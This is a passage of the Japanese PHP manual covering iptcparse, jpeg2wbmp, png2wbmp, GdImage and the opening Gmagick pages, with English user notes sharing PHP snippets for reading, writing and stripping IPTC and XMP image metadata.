I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at 30-May-2004 06:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at 06-May-2004 04:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net 20-Feb-2004 10:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//   $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net 19-Feb-2004 04:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
    $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
    $n_end += strlen ($xmp_end)-1; // last char of this block
    $endchar = $image [$n_str-1];
    if ($endchar == " ") {
      $endchar = "A";
    } else {
      $endchar = " ";
    }
    $xmp_len = $n_end-$n_str+1;
    $img_len = strlen ($image);
    $len = $img_len - $xmp_len;
    for ($i = $n_str; $i < $img_len; $i ++) {
      if ($i < $len) {
        $image [$i] = $image [$i+$xmp_len];
      } else {
        $image [$i] = $endchar;
      }
    }
    $image = rtrim ($image, $endchar);
    return true;
  } else {
    return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
    $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
    // chargement du fichier en m?moire
    $f_in = fopen ($filename_in, "rb");
    $img = fread ($f_in, $len_in);
    fclose ($f_in);
    // suppression du XMP de l'image
    if (XMP_remove_from_jpeg ($img)) {
      // enregistrement du fichier sur disque
      $f_out = fopen ($filename_out, "wb");
      fwrite ($f_out, $img, strlen ($img));
      fclose ($f_out);
    }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
rupix at rediffmail dot com 28-Jan-2002 04:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no 27-Jan-2002 03:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
      // Finds the IPTC numbers
      $tag = str_replace("2#", "", $s);
      // Creating the string
      $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                  return chr(0x1c).chr($rec).chr($dat).
                  chr($len >> 8).
                  chr($len & 0xff).
                  $val;
         else
                  return chr(0x1c).chr($rec).chr($dat).
                  chr(0x80).chr(0x04).
                  chr(($len >> 24) & 0xff).
                  chr(($len >> 16) & 0xff).
                  chr(($len >> 8 ) & 0xff).
                  chr(($len ) & 0xff).
                  $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption


バイナリの IPTC ブロックのタグをパースする

  • ≪ iptcembed
  • jpeg2wbmp ≫
  • PHP Manual
  • GD および Image 関数
  • バイナリの IPTC ブロックのタグをパースする

iptcparse

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcparse — バイナリの IPTC ブロックのタグをパースする

説明

iptcparse ( string $iptc_block ) : array|false

» IPTC ブロックをパースします。

パラメータ

iptc_block

バイナリ IPTC ブロック。

返り値

タグマーカーをインデックスとし、その値を保持する配列を返します。 エラー時や IPTC データが見つからなかったときは false を返します。

例

例1 iptcparse() を getimagesize() と組み合わせる使用法

<?php
$size = getimagesize('./test.jpg', $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    var_dump($iptc);
}
?>

注意

注意:

この関数は、GD 画像ライブラリを必要としません。

User Contributed Notes

oli4 at gmx dot li 08-Nov-2017 10:54
Is there a way to sort by keyword???
thx for help

<?php
    $files = glob("*.*");
    for ($i=0; $i<count($files); $i++)
     {
       $image = $files[$i];
$supported_file = array('jpg',);
$ext = strtolower(pathinfo($image, PATHINFO_EXTENSION));

$img = basename($image);
$size = getimagesize($img, $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    $keyword0 = $iptc["2#025"][0];
    if($keyword0 == "") {$keyword0 = "";} else {$keyword0 = $keyword0;}
    $keywords = $keyword0;
}

if (in_array($ext, $supported_file)) {
           echo '
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4 col-xl-3 outerContent" id="theme"><a class="example-image-link" href="',$img,'" data-lightbox="example-set" data-title="'.$keywords.'"><div class="innerContent" style="background-image: url(',$img,')"></div></a></div>';
           $keywords = "" ;
           } else {
               continue;
           }
         }
?>
tomasz at trejderowski dot pl 05-Sep-2013 01:39
I've managed to update "pkrohn at daemonize dot com" array, after 12 years since initial publication.

If you want to change some of IPCT header-strings into something more human-readable, try to use array similar to this:

$iptcHeaderArray = array
(
    '2#005'=>'DocumentTitle',
    '2#010'=>'Urgency',
    '2#015'=>'Category',
    '2#020'=>'Subcategories',
    '2#040'=>'SpecialInstructions',
    '2#055'=>'CreationDate',
    '2#080'=>'AuthorByline',
    '2#085'=>'AuthorTitle',
    '2#090'=>'City',
    '2#095'=>'State',
    '2#101'=>'Country',
    '2#103'=>'OTR',
    '2#105'=>'Headline',
    '2#110'=>'Source',
    '2#115'=>'PhotoSource',
    '2#116'=>'Copyright',
    '2#120'=>'Caption',
    '2#122'=>'CaptionWriter'
);
www.peterdebruin.net 22-Jul-2011 01:12
Nowadays IPTC captions may be encoded in UTF-8.
In that case, IPTC tag CodedCharacterSet would be set to "ESC % G".
This tag has tag marker "1#090".
To decode such a caption into simple ISO-8859-1, you could use the following code:

<?php
$IPTC_Caption = "";
$size = getimagesize( $image_path, $info );
if (isset($info["APP13"])) {
    if($iptc = iptcparse( $info["APP13"] ) ) {
        $IPTC_Caption = str_replace( "\000", "", $iptc["2#120"][0] );
        if(isset($iptc["1#090"]) && $iptc["1#090"][0] == "\x1B%G")
            $IPTC_Caption = utf8_decode($IPTC_Caption);
    }
}
?>

Of course, this will only preserve ISO-8859-1 characters.
For proper Unicode support, you should convert UTF-8 byte sequences into HTML character entities, or encode the whole web page in UTF-8.
michael wells 03-Sep-2004 05:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
        return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com 09-Aug-2004 09:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
05-Feb-2004 11:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
    $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
        $iptc = iptcparse($info["APP13"]);
        foreach (array_keys($iptc) as $s) {
            $c = count ($iptc[$s]);
            for ($i=0; $i <$c; $i++)
            {
                echo $s.' = '.$iptc[$s][$i].'<br>';
            }
        }
    }
}
Scin 14-Oct-2002 03:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
    echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
    foreach($value as $innerkey => $innervalue)
    {
        if( ($innerkey+1) != count($value) )
            echo "$innervalue, ";
        else
            echo "$innervalue";
    }
}
25-Apr-2002 07:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];   (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com 15-Jul-2001 04:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]){
        if (is_array($iptc)) {
        $caption = $iptc["2#120"][0];
    $graphic_name = $iptc["2#005"][0];
        $urgency = $iptc["2#010"][0];
    $category = $iptc["2#015"][0];
    // note that sometimes supp_categories contans multiple entries
$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}


JPEG画像をWBMP画像に変換する

  • ≪ iptcparse
  • png2wbmp ≫
  • PHP Manual
  • GD および Image 関数
  • JPEG画像をWBMP画像に変換する

jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

jpeg2wbmp — JPEG画像をWBMP画像に変換する

警告

この関数は PHP 7.2.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

jpeg2wbmp ( string $jpegname , string $wbmpname , int $dest_height , int $dest_width , int $threshold ) : bool

JPEG画像をWBMP画像に変換します。

パラメータ

jpegname

JPEG画像ファイルのパス

wbmpname

出力先のWBMPファイルのパス

dest_height

出力画像の高さ

dest_width

出力画像の幅

threshold

しきい値の値。0から8までの値を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 jpeg2wbmp() の例

<?php
// Path to the target jpeg
$path = './test.jpg';

// Get the image sizes
$image = getimagesize($path);

// Convert image
jpeg2wbmp($path, './test.wbmp', $image[1], $image[0], 5);
?>

参考

  • png2wbmp() - PNG画像をWBMP画像に変換する

User Contributed Notes

barry dot schatz at gmail dot com 16-May-2009 08:41
Actually this produces black and white images only, as does the jpeg2wbmp function.


PNG画像をWBMP画像に変換する

  • ≪ jpeg2wbmp
  • GdImage ≫
  • PHP Manual
  • GD および Image 関数
  • PNG画像をWBMP画像に変換する

png2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

png2wbmp — PNG画像をWBMP画像に変換する

警告

この関数は PHP 7.2.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

png2wbmp ( string $pngname , string $wbmpname , int $dest_height , int $dest_width , int $threshold ) : bool

PNG画像をWBMP画像に変換します。

パラメータ

pngname

PNG画像ファイル

wbmpname

出力先のWBMPファイルのパス

dest_height

出力画像の高さ

dest_width

出力画像の幅

threshold

しきい値の値。0から8までの値を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 png2wbmp() の例

<?php
// Path to the target png
$path = './test.png';

// Get the image sizes
$image = getimagesize($path);

// Convert image
png2wbmp($path, './test.wbmp', $image[1], $image[0], 7);
?>

参考

  • jpeg2wbmp() - JPEG画像をWBMP画像に変換する

User Contributed Notes

Window Bump Map 30-Jun-2008 10:41
WBMP is NOT windows bitmap, it is wireless bitmap. just to state that nice and clearly.


GdImage クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 gd リソースを置き換える完全不透明クラスです。

クラス概要

final GdImage {
}

User Contributed Notes

There are no user contributed notes for this page.


Gmagick

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • 例
  • Gmagick — Gmagick クラス
    • Gmagick::addimage — 新しい画像を Gmagick オブジェクトの画像リストに追加する
    • Gmagick::addnoiseimage — ランダムなノイズを画像に追加する
    • Gmagick::annotateimage — 画像にテキストによる注記を加える
    • Gmagick::blurimage — blur (にじみ) フィルタを画像に追加する
    • Gmagick::borderimage — 画像の周りを枠線で囲む
    • Gmagick::charcoalimage — 木炭画をシミュレートする
    • Gmagick::chopimage — 画像の一部を取り除き、切り詰める
    • Gmagick::clear — Gmagick オブジェクトに関連付けられたすべてのリソースをクリアする
    • Gmagick::commentimage — コメントを画像に追加する
    • Gmagick::compositeimage — ある画像を別の画像に合成する
    • Gmagick::__construct — Gmagick のコンストラクタ
    • Gmagick::cropimage — 画像の一部を抽出する
    • Gmagick::cropthumbnailimage — 切り取ってサムネイルを作成する
    • Gmagick::current — 現在の Gmagick オブジェクトへの参照を返す
    • Gmagick::cyclecolormapimage — 画像のカラーマップを移動する
    • Gmagick::deconstructimages — 画像間の特定のピクセルの差を返す
    • Gmagick::despeckleimage — 画像内のスペックルノイズを軽減する
    • Gmagick::destroy — Gmagick オブジェクトを破棄する
    • Gmagick::drawimage — 現在の画像上の GmagickDraw オブジェクトをレンダリングする
    • Gmagick::edgeimage — 画像の輪郭を強調する
    • Gmagick::embossimage — グレースケール画像に三次元効果を施して返す
    • Gmagick::enhanceimage — ノイジーな画像の品質を向上させる
    • Gmagick::equalizeimage — 画像ヒストグラムを均等化する
    • Gmagick::flipimage — 垂直方向に反転した画像を作成する
    • Gmagick::flopimage — 垂直方向に反転した画像を作成する
    • Gmagick::frameimage — 三次元の枠線をシミュレートする
    • Gmagick::gammaimage — 画像をガンマ補正する
    • Gmagick::getcopyright — GraphicsMagick API の著作権情報を文字列で返す
    • Gmagick::getfilename — 画像シーケンスに関連付けられたファイル名を取得する
    • Gmagick::getimagebackgroundcolor — 画像の背景色を返す
    • Gmagick::getimageblueprimary — 青が一番強い点を返す
    • Gmagick::getimagebordercolor — 画像の前景色を返す
    • Gmagick::getimagechanneldepth — 特定の画像チャネルの深度を返す
    • Gmagick::getimagecolors — 指定した色マップインデックスの色を返す
    • Gmagick::getimagecolorspace — 画像の色空間を取得する
    • Gmagick::getimagecompose — 画像の合成演算子を返す
    • Gmagick::getimagedelay — 画像の遅延を取得する
    • Gmagick::getimagedepth — 画像の深度を取得する
    • Gmagick::getimagedispose — 画像の配置方法を取得する
    • Gmagick::getimageextrema — 画像の極値を取得する
    • Gmagick::getimagefilename — シーケンス内の特定の画像のファイル名を返す
    • Gmagick::getimageformat — シーケンス内の特定の画像のフォーマットを返す
    • Gmagick::getimagegamma — 画像のガンマを取得する
    • Gmagick::getimagegreenprimary — 緑が一番強い点を返す
    • Gmagick::getimageheight — 画像の高さを返す
    • Gmagick::getimagehistogram — 画像のヒストグラムを取得する
    • Gmagick::getimageindex — 現在アクティブな画像のインデックスを取得する
    • Gmagick::getimageinterlacescheme — 画像のインターレース手法を取得する
    • Gmagick::getimageiterations — 画像の反復を取得する
    • Gmagick::getimagematte — 画像がマットチャネルを持っているかどうかを調べる
    • Gmagick::getimagemattecolor — 画像のマット色を返す
    • Gmagick::getimageprofile — 指定した名前の画像プロファイルを返す
    • Gmagick::getimageredprimary — 赤が一番強い点を返す
    • Gmagick::getimagerenderingintent — 画像のレンダリング方向を取得する
    • Gmagick::getimageresolution — 画像の X 方向と Y 方向の解像度を取得する
    • Gmagick::getimagescene — 画像のシーンを取得する
    • Gmagick::getimagesignature — SHA-256 メッセージダイジェストを生成する
    • Gmagick::getimagetype — 画像の型を取得する
    • Gmagick::getimageunits — 画像の解像度の単位を取得する
    • Gmagick::getimagewhitepoint — 色度が白い点を返す
    • Gmagick::getimagewidth — 画像の幅を返す
    • Gmagick::getpackagename — GraphicsMagick パッケージ名を返す
    • Gmagick::getquantumdepth — Gmagick quantum depth を返す
    • Gmagick::getreleasedate — GraphicsMagick のリリース日を返す
    • Gmagick::getsamplingfactors — 水平方向および垂直方向のサンプリング係数を取得する
    • Gmagick::getsize — Gmagick オブジェクトのサイズを取得する
    • Gmagick::getversion — GraphicsMagick API のバージョンを返す
    • Gmagick::hasnextimage — オブジェクトが次の画像を保持しているかどうかを調べる
    • Gmagick::haspreviousimage — オブジェクトが前の画像を保持しているかどうかを調べる
    • Gmagick::implodeimage — 新しい画像をコピーとして作成する
    • Gmagick::labelimage — ラベルを画像に追加する
    • Gmagick::levelimage — 画像のレベルを調節する
    • Gmagick::magnifyimage — 画像を二倍に比例拡大する
    • Gmagick::mapimage — 画像の色を、参照画像の中の最も近い色に置き換える
    • Gmagick::medianfilterimage — デジタルフィルタを適用する
    • Gmagick::minifyimage — 画像をその半分のサイズに比例縮小する
    • Gmagick::modulateimage — 明度、彩度、色相を制御する
    • Gmagick::motionblurimage — モーションブラーをシミュレートする
    • Gmagick::newimage — 新しい画像を作成する
    • Gmagick::nextimage — 次の画像に移動する
    • Gmagick::normalizeimage — カラー画像のコントラストを強調する
    • Gmagick::oilpaintimage — 油絵をシミュレートする
    • Gmagick::previousimage — オブジェクト内の前の画像に移動する
    • Gmagick::profileimage — 画像のプロファイルを追加あるいは削除する
    • Gmagick::quantizeimage — 参照画像内の色を解析する
    • Gmagick::quantizeimages — 画像シーケンス内の色を解析する
    • Gmagick::queryfontmetrics — フォントメトリクスを表す配列を返す
    • Gmagick::queryfonts — 設定したフォントを返す
    • Gmagick::queryformats — Gmagick がサポートするフォーマットを返す
    • Gmagick::radialblurimage — 画像にラジアルブラーを施す
    • Gmagick::raiseimage — 三次元のボタン風の効果をシミュレートする
    • Gmagick::read — ファイルから画像を読み込む
    • Gmagick::readimage — ファイルから画像を読み込む
    • Gmagick::readimageblob — バイナリ文字列から画像を読み込む
    • Gmagick::readimagefile — オープンしているファイルハンドルから画像を読み込む
    • Gmagick::reducenoiseimage — 画像の輪郭をなめらかにする
    • Gmagick::removeimage — 画像リストから画像を削除する
    • Gmagick::removeimageprofile — 指定した名前の画像プロファイルを削除して返す
    • Gmagick::resampleimage — 画像を指定した解像度にリサンプリングする
    • Gmagick::resizeimage — 画像のサイズを変更する
    • Gmagick::rollimage — 画像を補正する
    • Gmagick::rotateimage — 画像を回転する
    • Gmagick::scaleimage — 画像のサイズを変更する
    • Gmagick::separateimagechannel — 画像からチャネルを分離する
    • Gmagick::setCompressionQuality — オブジェクトのデフォルトの圧縮クオリティを設定する
    • Gmagick::setfilename — 画像を読み書きする前にファイル名を設定する
    • Gmagick::setimagebackgroundcolor — 画像の背景色を設定する
    • Gmagick::setimageblueprimary — 青が一番強い点を設定する
    • Gmagick::setimagebordercolor — 画像の枠線の色を設定する
    • Gmagick::setimagechanneldepth — 特定の画像チャネルの深度を設定する
    • Gmagick::setimagecolorspace — 画像の色空間を設定する
    • Gmagick::setimagecompose — 画像の合成演算子を設定する
    • Gmagick::setimagedelay — 画像の遅延を設定する
    • Gmagick::setimagedepth — 画像の深度を設定する
    • Gmagick::setimagedispose — 画像の配置方法を設定する
    • Gmagick::setimagefilename — シーケンス内の特定の画像のファイル名を設定する
    • Gmagick::setimageformat — 特定の画像のフォーマットを設定する
    • Gmagick::setimagegamma — 画像のガンマを設定する
    • Gmagick::setimagegreenprimary — 緑が一番強い点を設定する
    • Gmagick::setimageindex — 画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定する
    • Gmagick::setimageinterlacescheme — 画像のインターレース手法を設定する
    • Gmagick::setimageiterations — 画像の反復を設定する
    • Gmagick::setimageprofile — 指定した名前の画像プロファイルを Gmagick オブジェクトに追加する
    • Gmagick::setimageredprimary — 赤が一番強い点を設定する
    • Gmagick::setimagerenderingintent — 画像のレンダリング方向を設定する
    • Gmagick::setimageresolution — 画像の解像度を設定する
    • Gmagick::setimagescene — 画像のシーンを設定する
    • Gmagick::setimagetype — 画像の型を設定する
    • Gmagick::setimageunits — 画像の解像度の単位を設定する
    • Gmagick::setimagewhitepoint — 画像の色度が白い点を設定する
    • Gmagick::setsamplingfactors — 画像のサンプリング係数を設定する
    • Gmagick::setsize — Gmagick オブジェクトのサイズを設定する
    • Gmagick::shearimage — 平行四辺形を作成する
    • Gmagick::solarizeimage — 画像にソラリゼーション効果を適用する
    • Gmagick::spreadimage — ブロック内の各ピクセルをランダムに移動する
    • Gmagick::stripimage — 画像からすべてのプロパティやコメントを除去する
    • Gmagick::swirlimage — 画像の中心から、ピクセルを渦巻状にする
    • Gmagick::thumbnailimage — 画像のサイズを変更する
    • Gmagick::trimimage — 画像の輪郭を削除する
    • Gmagick::write — Gmagick::writeimage のエイリアス
    • Gmagick::writeimage — 画像を指定したファイル名で書き出す
  • GmagickDraw — GmagickDraw クラス
    • GmagickDraw::annotate — 画像の上にテキストを描画する
    • GmagickDraw::arc — 弧を描く
    • GmagickDraw::bezier — ベジエ曲線を描く
    • GmagickDraw::ellipse — 楕円を画像上に描く
    • GmagickDraw::getfillcolor — 塗りつぶし色を返す
    • GmagickDraw::getfillopacity — 描画に使う不透明度を返す
    • GmagickDraw::getfont — フォントを返す
    • GmagickDraw::getfontsize — フォントのポイント数を返す
    • GmagickDraw::getfontstyle — フォントスタイルを返す
    • GmagickDraw::getfontweight — フォントのウェイトを返す
    • GmagickDraw::getstrokecolor — オブジェクトの輪郭の描画に使う色を返す
    • GmagickDraw::getstrokeopacity — オブジェクトの輪郭の不透明度を返す
    • GmagickDraw::getstrokewidth — オブジェクトの輪郭の描画に使う線の幅を返す
    • GmagickDraw::gettextdecoration — テキストのデコレーションを返す
    • GmagickDraw::gettextencoding — テキストのアノテーションで使うコードセットを返す
    • GmagickDraw::line — 直線を描く
    • GmagickDraw::point — 点を描く
    • GmagickDraw::polygon — 多角形を描く
    • GmagickDraw::polyline — ポリラインを描く
    • GmagickDraw::rectangle — 矩形を描く
    • GmagickDraw::rotate — 指定した回転角を現在の座標空間に適用する
    • GmagickDraw::roundrectangle — 角が丸い矩形を描く
    • GmagickDraw::scale — 倍率を調整する
    • GmagickDraw::setfillcolor — オブジェクトの塗りつぶしに使う色を設定する
    • GmagickDraw::setfillopacity — 不透明度を設定する
    • GmagickDraw::setfont — テキストのアノテーションで使うフォントの完全な名前を設定する
    • GmagickDraw::setfontsize — テキストのアノテーションで使うフォントのポイント数を設定する
    • GmagickDraw::setfontstyle — テキストのアノテーションで使うフォントのスタイルを設定する
    • GmagickDraw::setfontweight — フォントのウェイトを設定する
    • GmagickDraw::setstrokecolor — オブジェクトの輪郭の描画に使う色を設定する
    • GmagickDraw::setstrokeopacity — オブジェクトの輪郭の不透明度を設定する
    • GmagickDraw::setstrokewidth — オブジェクトの輪郭の描画に使う線の幅を設定する
    • GmagickDraw::settextdecoration — デコレーションを設定する
    • GmagickDraw::settextencoding — テキストのコードセットを設定する
  • GmagickPixel — GmagickPixel クラス
    • GmagickPixel::__construct — GmagickPixel のコンストラクタ
    • GmagickPixel::getcolor — 色を返す
    • GmagickPixel::getcolorcount — この色の色カウントを返す
    • GmagickPixel::getcolorvalue — 指定した色チャネルの正規化した値を取得する
    • GmagickPixel::setcolor — 色を設定する
    • GmagickPixel::setcolorvalue — 色チャネルの正規化した値を設定する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Gmagick は、GraphicsMagick API を用いて画像の作成や編集を行ったり画像のメタ情報を取得したりするための拡張モジュールです。

GraphicsMagick は、自らを「画像処理におけるスイスアーミーナイフ」と称しています。 88 の主要なフォーマットに対応しており、よく使われる DPX、GIF、JPEG、JPEG-2000、 PNG、PDF、PNM そして TIFF もそれに含まれます。

Gmagick は、メインとなる Gmagick クラスのほかに描画のエフェクトを担当する GmagickDraw クラスと画像の各ピクセル (色、透明度) をあらわす GmagickPixel クラスで構成されています。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールは、GraphicsMagick バージョン 1.4 以降と PHP 5.1.3 以降との組み合わせで最もうまく動作します。 Gmagick は GraphicsMagick 1.2.6 までの旧バージョンでも動作しますが、 旧バージョンでは対応していない機能やフォーマットがあります。 Windows 版の GraphicsMagick は、GraphicsMagick のウェブサイトから取得できます。 ImageMagick と GraphicsMagick の違いについては、こちらの » FAQ を参照ください。

User Contributed Notes

maksimko 10-Apr-2013 02:54
1.4+ is a mistype, I suppose. According to http://sourceforge.net/p/graphicsmagick/code/ci/tip/tree/ they don't even have 1.4 branch. The latest release is 1.3.18


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/gmagick.

注意: この拡張モジュールの正式な名前は gmagick です。

Windows 用にビルドした Gmagick 拡張モジュールは、 » ここ にあります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Colortype constants
Gmagick::COLOR_BLACK (int)
Black
Gmagick::COLOR_BLUE (int)
Blue
Gmagick::COLOR_CYAN (int)
Cyan
Gmagick::COLOR_GREEN (int)
Green
Gmagick::COLOR_RED (int)
Red
Gmagick::COLOR_YELLOW (int)
Yellow
Gmagick::COLOR_MAGENTA (int)
Magenta
Gmagick::COLOR_OPACITY (int)
Opacity
Gmagick::COLOR_ALPHA (int)
Alpha
Gmagick::COLOR_FUZZ (int)
Fuzz
Composite Operator Constants
Gmagick::COMPOSITE_DEFAULT (int)
The default composite operator
Gmagick::COMPOSITE_UNDEFINED (int)
Undefined composite operator
Gmagick::COMPOSITE_NO (int)
No composite operator defined
Gmagick::COMPOSITE_ADD (int)
The result of image + image
Gmagick::COMPOSITE_ATOP (int)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
Gmagick::COMPOSITE_BLEND (int)
Blends the image
Gmagick::COMPOSITE_BUMPMAP (int)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
Gmagick::COMPOSITE_CLEAR (int)
Makes the target image transparent
Gmagick::COMPOSITE_COLORBURN (int)
Darkens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORDODGE (int)
Brightens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORIZE (int)
Colorizes the target image using the composite image
